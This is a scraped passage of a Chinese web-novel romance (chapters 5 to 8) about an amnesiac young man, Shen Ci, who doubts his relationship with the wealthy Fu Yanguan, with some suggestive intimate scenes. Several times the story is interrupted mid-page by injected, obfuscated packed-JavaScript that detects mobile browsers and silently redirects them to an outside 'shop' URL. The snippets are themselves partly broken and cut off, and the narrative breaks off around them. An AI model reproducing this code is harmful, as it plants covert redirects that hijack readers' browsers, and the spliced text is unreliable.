腿受了伤不宜久站,所以张呈山和赵阳也没多留,嘱咐沈辞好好养身体后就结伴离开了。 而沈辞又开始翻来覆去的想张呈山的那翻话,想来想去最后越来越烦躁,自己对着枕头发了好大的火。 他这几天怎么这么倒霉,不是受伤就是胡思乱想,想出去散心还把自己散进医院里了。 七点整,门锁传来声响,沈辞将被子扯出条缝,看向站在卧室门口一身寒气的傅砚观。 墙上的挂钟还在滴答滴答的转圈,沈辞瞄了眼,心情好了一些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13761682|145568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还挺准时。 他抬了抬眼皮,故意的道:“今天公司不忙?” 心情原因他就是想呛傅砚观几句,但对方还是如往常一样,神色淡淡。 在门口脱下外套,又等寒气散去才进屋。 “一天没起来?” 沈辞原本不想理,可是在听见傅砚观声音后,还是忍不住看过去点了下头。 他去车场这事并不想跟傅砚观说,不知是心虚的原因,还是因为其他。 张呈山因为这件事都把他骂了一顿,更何况是傅砚观呢,要是这人知道了,别说是骂他,不把他揪起来抽一顿都是好的了。 沈辞不知道自己又走神了,等反应过来时傅砚观已经坐在床边了,像昨天一样,甚至还伸手摸了下他的额头。 干燥温热的手掌覆在额头上,让他胡思乱想的心直接安静下来。 他看见傅砚观皱了下眉,似乎是在仔细感受他的体温,而在确认没发烧后,男人缓缓开口。 “没发烧,为什么要躺一天?” 这话说出来很像是质问,但这次还没等沈辞发脾气,傅砚观就又道:“是昨天做的太久了吗?还是很疼?” 说着那只戴着佛珠的手又伸向他的腰间,轻轻揉着。 沈辞闭了闭眼睛,他猜,他离不开傅砚观一定是因为这人太温柔了。 让他根本舍不得生气,舍不得计较。 他磕坏脑袋从医院醒来时第一眼看见的就是傅砚观,明明一点记忆都没有,可偏偏他就是对这个他完全不记得的男人十分依赖。 所以这半个月他常常在想,他以前得有多爱傅砚观啊,即便是失忆了,也还是本能的爱着。 腰被揉的舒服了,沈辞就开始得寸进尺。 “头也要按。” 傅砚观自然没什么怨言,但在把手放到沈辞头上时,还是开口调笑了句:“今天没有奖励吗?” 奖励什么? 沈辞愣住,随后脑中浮现出昨天他抓着傅砚观亲他的画面。 而这也让他对张叔的话产生了质疑。 对他这么好的傅砚观真的会不喜欢他吗? 想来想去也没有答案,倒不如不想了,沈辞抓着傅砚观的手拉到嘴边亲了一下,道:“先给个小奖励,后面有没有奖励取决于傅总按的舒不舒服。” 两人调整了姿势,沈辞躺在傅砚观腿上,惬意的闭眼享受,傅砚观的手指很长,按在他头上的力度正好,指尖时不时的穿过发间更是如同一颗石子丢进湖水里,让平静的湖面掀起层层波纹。 沈辞不由得想到了昨天,也是这只手,在替他清理,指尖进进出出... “操!”沈辞猛的睁开眼睛,抓着被子捂住自己,别扭的道,“我头不疼了,不用按了。” 沈辞想躲开傅砚观,结果刚挪动身体就被抓了回来,而那只戴着佛珠的手已经伸向被子。 “傅...傅砚观...”沈辞紧急叫停,傅砚观也没继续,只是隔着被子拍了拍沈辞躲来躲去的小屁股。 他道:“你想法不太老实啊。” 5. 他和傅砚观好像不熟 小心思被戳破,沈辞整个人都变成了一只煮熟的虾,在床上拱来拱去,最后躲到了床脚。 他小声的开口:“我要自己清理一下,你出去。” 沈辞说完只觉得整张脸都烫的厉害,原以为还要跟傅砚观掰扯一番,结果那人就只是挑了下眉,顺从的走了出去。 将整个卧室都留给了沈辞。 让傅砚观走的是沈辞,等人走了后开始别扭的也是他。刚起反应时他羞的厉害,可当他站到卫生间后又觉得烦躁。 他和傅砚观是小情侣,那这个时候傅砚观不是应该主动提出来帮他弄吗?再顺势发生一些别的事情。 傅砚观的态度就像是...像是包养别人的金主,凡事都与他无关的那种。 淋浴的冷水顺着脸颊滴落,刚才的冲动小了不少,一是因为他开始胡思乱想,二则是因为磕伤的腿开始疼了。 他骑摩托的时候没有穿防护服,所以摔下去后身上有很多块擦伤,只是左腿磕的格外严重就是了。 “嘶...” 冷水流过伤口时并不舒服,又蛰又疼的十分难受,尤其是昨天膝盖,磕到护栏上时应该是被铁丝刮了,掉了一大块皮。 现在已经开始肿了。 “沈辞。” 浴室门突然被敲响,沈辞惊了下,连忙压下到嘴边的闷哼,回应道:“怎么了?” 门外的傅砚观只敲了两下,高大的身影印在门上,“你没拿睡衣,把门打开。” 沈辞有些犹豫,但刚才换下来的睡衣已经脏了,再让他穿上显然是不可能了。 “你...你等...等下。”沈辞手忙脚乱的擦干身体,然后把门打开条小缝,只留了手能伸进去的宽度。 对此,傅砚观只是笑笑,没有多说什么。 成功拿到睡衣,沈辞立刻穿好衣服,等到腿伤全部遮在睡裤里才松了口气。 他也不知道为什么要瞒着傅砚观,但就是不想让他知道。可能理由真的很简单,他怕挨骂,还怕傅砚观生气揍他。 从浴室出去时傅砚观已经在床上躺着了,那人戴上眼镜正在看杂志,灯光照在他身上形成一部分阴影,不知道用什么词形容。 好像是...岁月静好。 沈辞想,以他的家世到底是哪点能配得上傅砚观,张呈山下午的那翻话很对,他好像确实什么都没有,什么都拿不出手。 那傅砚观喜欢他什么?这张脸吗? 沈辞爬到床上,因为腿疼眉头一直皱着,头发也只吹了半干,趴到傅砚观身上时立刻就弄湿了对方睡衣。 傅砚观把杂志放到一边,大手想揉一把沈辞脑袋,但似乎想到什么又移到了后颈,不轻不重的捏了捏。 并在沈辞还没开口前先一步道:“刚才给你送睡衣了,有奖励吗?” 沈辞失笑:“这也要奖励啊傅总?想亲亲就直说。” 傅砚观挑起半边眉,大方承认:“是啊,想亲了,沈先生给亲吗?” 据张叔所说,傅砚观年轻的时候很狂,身上总带着一股成熟的叛逆,明明看起来很听话懂事,但是就是很有自己的主意。 后来因为经历的事情多了,和一些原因,这人才开始慢慢改变,但那股狂劲消失后,取而代之得就是疏远。 有人说傅砚观的眼睛看谁都带着冷意和警惕,但沈辞却觉得冷意后面藏着的是化不开的柔情。 他没有扭捏,尽管在浴室里胡思乱想了一通也还是大方的抱住傅砚观脖子,吻上那两片薄唇。 舌尖轻轻试探,一人紧抓着肩膀,一人用力搂着腰。 分离时满眼情欲。 “傅总满意吗?能不能打赏点小费。” 傅砚观把人裹进被子里,一边摘下眼镜一边递过去一杯牛奶:“缺钱了?” 曾经沈辞刚到别墅时,傅砚观给过沈辞一张副卡,但那个时候的沈辞非常抗拒包养,直接拒绝了这张卡。 之后傅砚观也没再提过。 小孩儿有自己的自尊心得理解。 但让傅砚观没想到的是,沈辞的自尊心能有这么强,除了学校需要用到的费用,沈辞几乎不怎么花他的钱。 只要有时间沈辞必定出去兼职。 可那能有几个钱,最后过的省吃俭用,明明住着大别墅,生活却十分拮据。 沈辞盘腿坐在床上,捧着傅砚观递给他的牛奶,牛奶温度正好,喝到嘴里不凉也不烫,就好像热好了之后刻意掐的时间,在最好的时候递给他。 一口气半杯下肚,沈辞舔了下嘴唇,倒是理直气壮的说道:“我没有工作,也没有钱,肯定要先花你的钱。所以能赏点吗?傅总。” 这话说的倒是实话,沈辞学的表演专业,结果毕业后为爱留下,心甘情愿困在这别墅里,自然是身无分文。 “你这种大老板是不是挥挥手就几千万?那你的就是我的,给我一半不过分吧?” 这样的沈辞是从来没有过的。 傅砚观也没吊着人,上了一天班他已经很累了。 “三楼书房最下面的抽屉里有我的主卡,里面还有现金,想花多少花多少,但是黄赌毒别沾。” 前半句听着还挺开心,后半句沈辞就垮了脸,扑上去对着傅砚观就咬。 还黄赌毒,他是那种人吗?! 牛奶起了些作用,沈辞也有些困了,临睡前傅砚观开口报备:“这几天我需要加班,七点回不来,太晚了的话可能要住在公司,可以吗?” 原本已经闭眼的沈辞瞬间睁开眼睛,他可太喜欢这种感觉了,不知道是掌控欲作祟,还是什么,他想要傅砚观事事都跟他报备。 说看见消息要回,傅砚观就真的会回复,甚至是主动给他发消息,告诉七点回家,如此无理的要求傅砚观也能做到。 这种好男人到底是谁在谈啊。 “我怎么这么喜欢你?” 沈辞突然感慨,到是让傅砚观有些摸不着头脑,他试探着问道:“不行吗?那如果我回来太晚,你不用等我。” 沈辞捧住傅砚观的脸,打断道:“批准了!但是我会随时去公司视察,你不许对别人这么好!” 傅砚观搂紧沈辞,没有承诺保证什么,只“嗯”了一声。 - 日子过的越来越顺风顺水,沈辞一个人在家的日子也很欢乐,他不再像以前那样坐在沙发上每天想着傅砚观什么时候回来。 现在的他,光是用潇洒两个字都形容不了了。 傅砚观的钱实在是太多了,多到沈辞买什么都不用顾虑,衣柜里的衣服直接更新换代,全部都是沈辞喜欢的样式。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13761683|145568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左腿上的伤还是会疼,但走路几乎没什么影响了。 大概潇洒了小半个月,沈辞想到了傅砚观,好几天没见到人,每天消息也发不了两句。 这对于小情侣来说实在是太折磨了。 所以在又一个深夜梦到傅砚观而惊醒后,沈辞抱紧被子,第二天果断的到了傅砚观公司楼下。 他是导航过来的,面前的这栋公司大楼他十分陌生,就像是从来没来过一样。 沈辞晃了晃头没有多想,挺着腰板进了公司,前台没见过沈辞,把人拦下后问有没有预约。 而后在沈辞拿出他和傅砚观合照后恭恭敬敬的把人请了上去。 “傅总还在会议室开会,您可以先到傅总的办公室休息。” 沈辞道:“不用了,你告诉我会议室怎么走,我去那等他。” 傅砚观的公司一共七层楼,在祈江市这种房价贵到要死的地方,傅砚观竟然有一栋大楼,这让沈辞虚荣心爆棚。 并发誓一定要抱好这条大腿。 走到会议室市外面,沈辞扒着窗户偷偷看了眼,但会议室拉满了百叶窗帘,他连个人影都看不见。 “喂!那个人。” 身后突然传来声音,还没等沈辞回头就被捏住了后颈拎到了一边。 “你...你干什么?放开!” 沈辞推开抓着他的手,上下打量着面前的男人。 一身正装,看起来应该是公司里的员工,就是...这张脸他好像在哪见过。 没等他询问,对方就先一步发难了。 “你是哪个部门的?不知道里面在开会吗?你想偷听什么?” 莫名被扣了一顶帽子,沈辞连喊冤的地方都没有。 看见这人臭着的这张脸沈辞就也没了好脸色。 “我能偷听什么?那墙那么厚,隔音效果这么好,估计里面打起来我都听不见吧。你了解前因后果吗?上来就质问我。” 几句话倒是堵的男人没话说了,他掏出手机,沉声问道:“你叫什么名字?” “沈辞。” “沈辞是吧,行...沈辞?”男人似乎愣住了,眼里的反感逐渐变得有些惊讶,他试探着问道,“你和傅砚观的关系是?” 听了这话沈辞腰板挺的更直了:“我是他男朋友!” “男朋友?” 男人张了张嘴,最后又咽回了已经到嘴边的话,神色越发古怪。 “就算是傅砚观的“男朋友”也不能在这扒窗户,你到那边休息室去。”男人眉头皱的很紧,又上下打量了一遍沈辞后,自我介绍道,“我是傅砚观朋友秦溯,之前咱们见过的。” “秦溯?”沈辞皱着眉回忆了一下,感觉应该有这么个人后,歉意的笑笑,“不好意思,我前段时间磕伤了头,记忆有点混乱。” 秦溯“嗯”了声,并没有想跟沈辞熟络的意思,“你找地方坐着吧,这里是公司你别乱跑。” 秦溯话说完就推门进了会议室,没给沈辞一点反驳的机会。 原本还有点愧疚把人忘了的沈辞瞬间气的牙痒痒,对着秦溯离开的地方用力的挥了几拳。 什么态度?凭什么叫他别乱跑?公司是傅砚观的,那就是他的! 等傅砚观出来他一定要告状!! 6. 养着玩儿而已 这场会议持续了两个小时之久,沈辞为了和秦溯争口气,硬是在会议室门口蹲了两个小时,等到门开时,他腿已经要没有知觉了。 原以为出来的会是傅砚观,结果没想到还是秦溯那张讨人厌的脸。 “怎么是你?”沈辞不客气的直接问道,为了避免蹲着没有气势,他连忙不顾双腿的死活硬是从地上站了起来。 秦溯抱臂看着沈辞,冷哼一声:“我倒是也想问问你,一直在这守着,是想等傅砚观出来第一时间告状?” 心思又被拆穿了,沈辞不打算再理人了,而正巧傅砚观这个时候从会议室里出来,边走边和旁边的人交代什么。 穿着西装打着领带的人和在家里时完全不一样,身上那种带着压迫性的气质让人畏惧,可又让人移不开眼。 沈辞的目光瞬间就被吸引了,只是傅砚观太过投入,并没有发现沈辞。 有一瞬间的沮丧,不过也仅仅只有一秒,他就收拾好所有的坏情绪朝着要走远的男人挥了挥手,喊道:“傅砚观!” 这一喊所有人的目光都被吸引过来的,此次会议中有许多中高层领导,闻声都瞥了沈辞一眼。 沈辞大方的站在那,丝毫没有回避的意思。 反到是秦溯上前挡住沈辞半个身子,朝着那些高层点点头,试图装作无事发生。 世家子弟想玩儿自然没有人管,但是一个包养的小情儿拿到面上来就有些不太好看了。 “砚观,你先去忙吧,一会儿我带他去办公室。” 沈辞拧眉,正想开口质问就被秦溯瞪了一眼,那一眼威慑力十足,就好像他再说一句话就会毁了傅砚观事业一样。 他有些难过,那种怪异的感觉直线上升,而就在恍惚中的这几秒,穿着西装打着领带的男人就已经走到了他面前。 傅砚观在沈辞身上扫了几眼,先是惊讶于对方的穿着,但惊讶过后目光还是落在了脚踝上。 他微微皱眉,道:“穿单裤?” 沈辞还沉浸在上一秒的坏情绪里,下一秒就被老干部批评了,他顺着傅砚观的视线也看向自己的脚踝,立刻心虚的岔开话题:“我想你了!” 一句话堵住了傅砚观接下来要说的话,沈辞当着不少人的面直接抓住傅砚观胳膊,举止亲密引的不少人窃窃私语。 秦溯的脸彻底黑了。 傅砚观倒是没有多大的反应,他是在万众瞩目中长大的,所以对于各种目光都习以为常,只是他并不喜欢别人这样打量沈辞。 “走了。” 沈辞没等再说第二句话就被傅砚观拉走了,牵着他的手还是那么温暖,就像是...可靠的父亲牵着自己的儿子一样。 此想法一出,沈辞连忙用力的晃了晃头,被傅砚观牵着也不忘回头再看一眼秦溯,并像是被主人撑腰的大型犬一样高傲的仰着下巴。 秦溯被这目光盯的捂住脸,对沈辞的印象时好时坏,他能确定的是这人确实没什么心机,但是...也是个仗势欺人的主。 他可能需要找机会提醒一下傅砚观别宠太过了。 给惯了好脸色,什么宠物都容易噬主。 - 董事长办公室。 “哇!你办公室好大啊!” “天呐!你竟然有这么多球服!傅砚观,你还喜欢足球吗?之前怎么没见你踢过?!还有这个奖杯!祈江市第二十八届足球赛冠军!这是你的奖杯吗?” 刚进办公室沈辞就瞬间放飞自我了,把展示柜翻了个底朝天,问题一个接着一个,完全不等傅砚观回答,就又问下一个了。 连着加了好几天班的人此时一脸倦意,倒是难得坐到沙发上看着沈辞在那喋喋不休,并随机回答几个小问题。 “之前大学的时候参加了足球队,拿过几个奖。” 傅砚观说的不值一提,但既然是祈江市的奖又怎么可能没有含金量。 沈辞把奖杯小心翼翼的放回去,随口道:“那你什么时候踢给我看看呗,我好像还没怎么看过别人踢足球,学校里总是打篮球的居多。” 傅砚观捏了捏眉心:“太久没踢了,早忘了。” 沈辞对他的办公室似乎十分好奇,一会看看这个,一个动动那个,傅砚观乐意纵着,但还是不想浪费这点宝贵的时间。 “不是说想我了吗,过来让我抱抱。” 本来还想再看看远处桌子上的那套书法用具,结果在听到傅砚观的话后立刻换了方向,扑进了傅总怀里。 沈辞自问平时也很A,在其他朋友面前甚至于很有主见,可不知道为什么只要一面对傅砚观,他就很想撒娇。 傅砚观比他高了有五厘米,虽然不太离谱,但作为男人总是要在乎比较这点子身高。 沈辞虽然之前抱怨了很多句,可不得不说他被傅砚观整个抱住时有多舒服。 他好像是个缺乏安全感的人,但只要在这个男人身边,就什么都不怕了。 “刚才你朋友欺负我,那个姓秦的,你能不能把他开了。” 沈辞把头埋在傅砚观胸口,发了狠的闻对方身上的古龙香水味。这几天他确实很想很想傅砚观,就连做梦都是他。 每天睡前都要抱着枕头,然后回想一下抱着傅砚观的感觉,用于饮鸩止渴。 如今好不容易抱到真的人了,他就差饥渴的把人扒光了啃一顿了。 而傅砚观也由着沈辞这么抱着,即便没拉的百叶窗外秦溯已经盯他有一会儿了。 傅砚观心情不错的开口,回答沈辞刚才的问题:“把他开了不太可能,不过可以带着你讹他一顿饭。” 沈辞笑眯眯的抬起头:“那择日不如撞日吧。” 两人三两句话,外面的秦溯钱包就注定要憋一圈。 此时刚好是中午,几人还都没吃饭就正好在公司附近找了家川菜。而秦溯看傅砚观的目光则越来越奇怪。 由于菜品过辣,大厅里放着两个冰淇淋机器,沈辞刚进店就一眼相中了,拿了个超大号的碗去剜冰淇淋球。 包间内只剩下傅砚观和秦溯。 少了外人,两人再说话时自然不会藏着掖着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13761684|145568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是好巧不巧,沈辞正好这个时候回来,并听到了那句“养着玩儿,你还真当真了?” 什么养着玩儿?什么当真了? 秦溯对于沈辞是属于那种不认识也不满意的状态,作为傅砚观好友,他自然认为沈辞配不上他。 “这家川菜在公司附近开了得有三年了吧,你一次都没来过,这次怎么就过来了?不爱吃辣还点了那么多辣菜。他就这么吸引你?” “今天在公司他那么大呼小叫的像什么样子,就算磕坏了头也不能这么放肆,你再这么惯下去早晚要出事。” 秦溯嘴不停的说了一堆,沈辞紧贴着门,却始终没听见熟悉的声音,他不知道傅砚观此时脸上是什么表情。 生气吗?还是认同? 此时此刻就算沈辞心再大也发现疑点了。 他是傅砚观的男朋友,可他和傅砚观的关系却像是拿不出手需要藏着掖着一样。 他们在一起六年,却几乎没什么人知道他俩的关系,傅砚观的父母不知道,听张叔的意思好像傅砚观也没打算带他回去。 而除了这些,身边的朋友也是最好的证明,秦溯和傅砚观的关系看起来很好,沈辞在那张足球队的合照上也看见过他。 可秦溯对他的态度堪称陌生,如果他和傅砚观刚在一起那还有情可原。 但他们已经在一起六年了。 除了秦溯,上次张呈山和赵阳的态度也很奇怪,这种怪异的感觉之前就有,可他却才发现。 “您好,请问有什么能帮到您的吗?” 服务员上前礼貌问话,包间内的声音瞬间消失。 沈辞缓过神来摇了摇头,他神色如常的开门进去,手里拿着的两碗冰淇淋都放在了自己面前。 他有些生气了,所以这碗冰淇淋不打算给傅砚观吃了。 秦溯目光在冰淇淋上面停留了几秒,脸色十分不自然。 原本很圆的几颗冰淇淋球已经有些化了,很显然沈辞在外面站了不止一会儿。 一瞬间房间内陷入一种诡异的尴尬,直到服务员开始上菜。 清一色红彤彤的菜,沈辞肚子配合着叫了一声,下一秒碗里就出现了一勺麻婆豆腐。 是谁夹给他的不言而喻。 “我不吃豆腐。” 沈辞看都没看傅砚观,直接将碗里的麻婆豆腐全倒了出去,本想再呛他两句,谁知傅砚观却半点不受影响,又夹过来一块排骨。 并在沈辞想把排骨夹走时开口:“浪费粮食可耻,浪费肉更可耻。” 见沈辞表情有些松动,傅砚观又道:“看起来味道很不错,不尝尝看吗?” “我自己会夹。”沈辞回怼了句,但还是没再抵触,低着头把排骨啃了,然后眼睛一亮,傅砚观立刻夹了第二块。 炸毛的人被哄好了大半。 谁看了都要说一句沈辞好哄,可是只有真正了解沈辞的人才会知道,其实沈辞只是看起来好说话,实际上原则性特别强。 好哄的原因也只是一个傅砚观罢了。 7. 别骂了别骂了 傅砚观还有许多事情要忙,今日能分出些时间来好好吃顿饭也是因为沈辞过来了,如果没有沈辞他还是会凑合一口,有时甚至都忘了吃饭。 在回公司的路上,秦溯开车,沈傅二人坐在后面,沈辞半句话都不想说,尽管能感觉到傅砚观在盯着他看,但他的目光仍始终盯着窗外。 秦溯有些理亏,他虽然不太喜欢沈辞,可也没想这些话能被正主听见,他到不怕沈辞多想,只是心疼傅砚观罢了。 这段时候被项目折磨的已经有好几天没怎么合眼了,要是沈辞因为他的几句话再闹起来,受罪的还是傅砚观。 所以在刚到公司楼下,秦溯就开门见山的道:“砚观最近很忙,也有很多事情要做,沈先生不如先回家。” 这话不是询问,到像是命令。 沈辞紧抿着嘴唇,回头看了傅砚观一眼,等了三秒没等到傅砚观说话后,立刻拉开车门就走。 他气呼呼跑到路边拦车,下唇咬出了好几个牙印,眼眶也气的通红。 他不是个心甘情愿吃亏的人,在吃饭的时候就想揍秦溯一顿了,如果不是因为傅砚观... 今天真是出门没看黄历,想来看看许久没回家的男朋友,结果处处碰壁吃了一肚子气。 拦了几次车都没拦到,沈辞更觉得憋屈,身后始终没有声音。沈辞想,也许傅砚观已经和秦溯回公司了。 毕竟他那么忙。 眼睛有些湿润,鼻腔也越来越酸涩,沈辞悄悄回头,想偷看一眼,结果满眼只剩下一片黑色。 傅砚观竟不知在他身后站了多久。 “你...大忙人不去忙工作,在这浪费时间干什么?!” 沈辞说话声音也有些尖锐,听的傅砚观微微皱眉。 他将沈辞抓过来,十分自然的勾着脖子,顺着路边往前走。 “我是很忙也很累。”傅砚观坦言道,“今天下午还有场会要开,秦溯去做准备了,给我留了时间哄家属。” 沈辞挣扎的动作慢慢停了下来,但还是反驳道:“谁是你家属?” “还能是谁?某个闹脾气的小哭包?” 沈辞觉得傅砚观一定是给他下蛊了,不然为什么他都这么生气了,可只要这人一说话一靠近,他就会缴械投降。 低头沉浸在自己情绪里,等回过神来才发现傅砚观竟然拐进了一家奶茶店。 “一杯焦糖布丁奶茶,一杯草莓奶昔。” 听见奶茶,沈辞立刻探头去瞧,在点单板上看了一遍后,舔了下嘴唇:“我也想要一杯草莓奶昔。” 傅砚观眼里多了几分笑意,他示意店员不用理会,随后看向沈辞打趣道:“有没有人跟你说过你很没出息?” 沈辞反驳:“我说傅总,你背后蛐蛐人就算了,怎么现在还人身攻击?你才没出息!” 做两杯奶茶用不了多长时间,傅砚观把热的那杯递给沈辞暖手,然后照常搂着人往回走,虽然有误会没说开,但傅砚观还是忍不住说教道:“上次就说过你,别穿这么少,大冬天露个脚踝不用等老了,半夜你就得腿疼。” 沈辞没应声,插上吸管就开始往嘴里吸,一副都喝光,半滴都不给傅砚观留的架势。 重新回到办公室里,沈辞往沙发上一坐,抬头盯了傅砚观一会儿后觉得气势不够又从沙发上站起来,直接穿鞋踩在沙发上盯着傅砚观。 “你是不是应该解释一下,什么叫养着玩,我虽然脑袋坏了,但你也别想着蒙我!” 沈辞越说越气,连珠炮一样对着傅砚观输出。 “这六年我们真的是情侣关系吗?为什么我身边的人不知道你,你身边的人也不熟悉我?你那个好朋友秦溯,就差把我配不上你那几个字写脸上了!” 对于这段感情沈辞有怀疑是正常的,毕竟他们直接没有半点情侣的回忆,除了第一年,绝大多数都是沈辞一个人在别墅里等着,而他满世界跑忙工作。 但凡是个正常人都能从中发现些蛛丝马迹,而且沈辞是磕伤了头导致的记忆错乱,早晚有一天会恢复的。 傅砚观想,既然沈辞都这么问了,他不如就直接告诉他。 可是话到嘴边却根本说不出来。 他要怎么说?说沈辞其实只是他包养的一个人,男朋友什么的都是他的妄想吗? 傅砚观沉默许久,最后还是咽下了那些话,抬眼看着沈辞道:“那你觉得你配得上我吗?” 沈辞几乎是想也不想直接道:“当然配的上,虽然你是大老板,又长得好看,有钱有权,学历也高,但是我也很优秀啊。” “我现在没有工作,好像确实是你一直在养着我,但是我不会一直闲着,我也会赚钱的。” 沈辞着急保证,生怕傅砚观真的觉得他没用,他有些心虚的瞥了眼面前的男人,只见傅砚观虽然什么都没说,但是却一脸笑意。 他没有否定沈辞,也没有打击他,只是点头表示自己知道了,然后说出他的看法和解释:“秦溯说的那些你不用放在心上,之后我会跟他说清楚,今天的这种事不会再出现。” 沈辞道:“你还要跟他说我很优秀,我配得上你。” 傅砚观眼里笑意更深:“嗯,我以‘沈辞’来写篇小作文念给他听。好了,先下来吧,还想骂我的话也坐下骂。” 沈辞最吃的就是傅砚观这套,心里的气撒了大半,沈辞朝着傅砚观跳过去,想扑到他怀里,结果左腿一用力扯到伤口,让他差点摔到地上。 从而也暴露了他身上带伤。 傅砚观本来就是个心细的,沈辞脸上那一闪而过的痛色自然没逃过他的眼睛。 “腿怎么了?” 沈辞还想再瞒,结果谎话还没等说出来就被傅砚观按在沙发上拽着裤子露出了还没好全的伤口。 沈辞:“......” 左腿的伤确实十分严重,养了这么久也还青紫着,有些结痂都还没掉。 傅砚观脸色越来越难看,眼里的笑意也消失了,他盯着沈辞膝盖上的伤,呼吸逐渐不规律。 “那个...我没事,就是点小伤,你别...” “沈辞。”傅砚观开口打断,拧眉问道,“怎么回事,这伤可不是随便磕的,我要听实话。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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果然是在商场上杀出一条血路的男人,光是沉下脸看他一眼他就腿软了。 膝盖露在外面有些凉意,沈辞赶紧整理好裤子,在溜之大吉和留下来挨训之间纠结。 最后垂死挣扎的点开赵阳的微信,发了条消息过去。 沈辞:如果你把你男朋友惹生气了,他要打你怎么办? 赵阳秒回,一个问号甩过来。 沈辞抿着嘴唇敲键盘。 沈辞:是这样的,我有个朋友,他前段时间玩儿极限运动摔伤了腿,但是为了怕男朋友再也不让他玩了就一直瞒着,结果今天被发现了,他男朋友要抽皮带揍他,你说他该怎么办?要不要跑? 消息发出去后许久没有得到回复,沈辞咬着指尖趴到沙发上,他认真的盯着手机,等把鞋子蹬掉后,赵阳的消息弹出来了。 赵阳:辞哥,你是在跟我玩儿抽象吗? 8. 大胸肌大车模 手机又响了一声。 赵阳:那个姓傅的才知道你受伤了?还要打你? 沈辞看后整张脸都皱到了一起,正噼里啪啦打字想严肃声明是他的‘朋友’不是他,结果下一秒又一条消息弹出来。 赵阳开始劝分了。 赵阳:对另一半动手的都不是什么好东西,赶紧分了吧辞哥,你要是喜欢这口,我家前几天来了一批车模,什么口味的都有,还能上赶着伺候你,多好啊。 车模?上赶着伺候? 沈辞脑海里不由得浮现出那些大块头腹肌的男人,大胸肌,大腹肌和...大屁股? 嘶!!沈辞用力摇了摇头,拿着手机用力的打了一串字。 沈辞:我不喜欢车模!! 脆弱的脑袋被那些油腻腹肌男攻击过后又开始浮现出傅砚观的身影。 其实好像...傅砚观也能上赶着伺候他,有时根本不用他开口,他想要的东西就会出现在面前。 比如睡前的那杯奶,洗好的又大又红的草莓,还有只要他念叨一嘴就能吃到的各种东西。 和这些比起来,好像那些误会就都不值一提了,只要傅砚观消气,他挨顿抽也没什么。 想通这点沈辞没了顾虑,抱着抱枕窝在沙发上,眼皮逐渐发沉。那边的赵阳也没死心,不知道从哪弄来的照片,连发了二十多张车模过来。 阳光偏移,太阳落山,办公室内逐渐变暗,沈辞睡的冷了,180的身体越缩越小,手里握着的手机“啪嗒”一声掉到地上,屏幕亮起时显示的时间已经是‘六点半’。 傅砚观开会回来时看见的就是这样的沈辞。连熬了这么多天,身体早就是极度的疲惫状态,尤其是在这么久的努力下仍不见成果。 回办公室的路上傅砚观甚至还在跟项目组长确定晚上加班的事,游戏的数据出了问题,内核和主线怎么也确定不下来,只能一遍遍的找人试玩游戏。 忙到脚不沾地的傅总早就忘了办公室内的沈辞。 所以在推开门看到人的那一刻傅砚观是愣住的,但也就是那一瞬间,一直紧皱的眉眼放松下来。 就好像赶了一天工的人回到家妻子笑意盈盈的端上一碗热乎的饭菜一样。 那种满足感填满了他整颗心。 太阳正好落山,最后的那一点夕阳打在沈辞脸上。傅砚观走过去,看沈辞因为冷而睡不安稳时是又好笑又心疼。 上午因为沈辞飙车受伤的气消了大半,他脱下外套裹住瑟瑟发抖的人,然后捡起地上的手机。 沈辞是个很简单的人,简单到连手机都不喜欢设置密码,所以傅砚观随时一划,屏幕就打开了。 - 在办公室彻底黑下来后,沈辞才缓缓睁开眼睛,前期睡的不太好,后面裹着傅砚观的外套到也算睡了个好觉。 还有些懵的人转了转眼珠,看见身前的傅砚观,摸索了两下蹭了过去。 刚睡醒的人全然忘了之前刚闹了不愉快,蹭到傅砚观怀里就想索吻。 沈辞以前瘦瘦小小的一只,虽然很满足眼欲,但手感却不是特别好,而现在胖了一圈后抱起来软乎乎的。 对于某人主动投怀送抱,傅砚观自然乐意,可在沈辞凑上来亲他时还是侧头避开了。 未等沈辞发作,傅砚观便道:“先挨打,挨完再亲。” 沈辞:??? 黑暗中沈辞看不清傅砚观的表情,他感觉到面前这人好像是在摸皮带,连忙从怀里退出去,还迷糊的脑袋也瞬间清醒。 